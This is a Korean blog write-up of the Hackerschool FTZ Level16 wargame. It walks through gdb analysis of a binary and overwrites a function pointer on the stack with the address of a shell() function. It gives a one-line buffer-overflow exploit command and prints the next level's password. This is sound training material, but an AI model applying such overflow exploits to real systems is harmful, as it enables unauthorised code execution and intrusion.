System Hacking

[해커스쿨FTZ] Level16

BIGFROG 2020. 1. 6. 17:09

FTZ level16

 

printit()함수는 hello there! 문자열을 출력하는 함수.

 

(*call)()=printit 으로 인해 call()함수가 호출되면서 printit()함수를 호출한다.

 

main+3 : 스택을 0x38(56바이트) 확장

 

ebp : 0xbfffe258 value: 0xbfffe278

esp : 0xbfffe210 value: 0xbfffe220

main+16 : mov DWORD PTR [ebp-16],0x8048419 이게 printit()함수인듯하다

x/x 0x8048419 => printit함수 : 0x83e58955

main+46 : mov eax, DWORD PTR [ebp-16]

ebp-16 : 0xbfffe248 value: 0x0804000a

main+46이후 : eax 주소:0x804000a value : 134479882 

ebp-16을 printit함수가 아니라 shell함수의 주소를 넣어주도록 한다.

 

disas shell을 통해 shell함수의 시작 주소를 알 수 있다.

0x080483ec<shell+0>

 

 

40바이트 A + shell함수 주소(ebp-16부분)이면 될듯?

 

풀이는 맞는데.. 다른 사람들 풀이랑 나랑 주소가 약간 다르다.

완전히 똑같은 서버가 아니라 로컬 서버니까 뭔가 차이가 날 수도 있겠다는 생각.

 

다른 사람들의 shell함수 주소는 0x080484d0이다.

shell함수 주소만 바꿔넣어주면 풀 수 있다.

 

공격구문은

(python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat) | ./attackme

 

level17 password : "king poetic"

 

 

 

 

 

'System Hacking' 카테고리의 다른 글

[해커스쿨FTZ] Level18  (0) 2020.01.06
[해커스쿨FTZ] Level17  (0) 2020.01.06
[해커스쿨FTZ] Level15  (0) 2020.01.06
[해커스쿨FTZ] Level14  (0) 2020.01.06
[해커스쿨FTZ] Level13  (0) 2020.01.06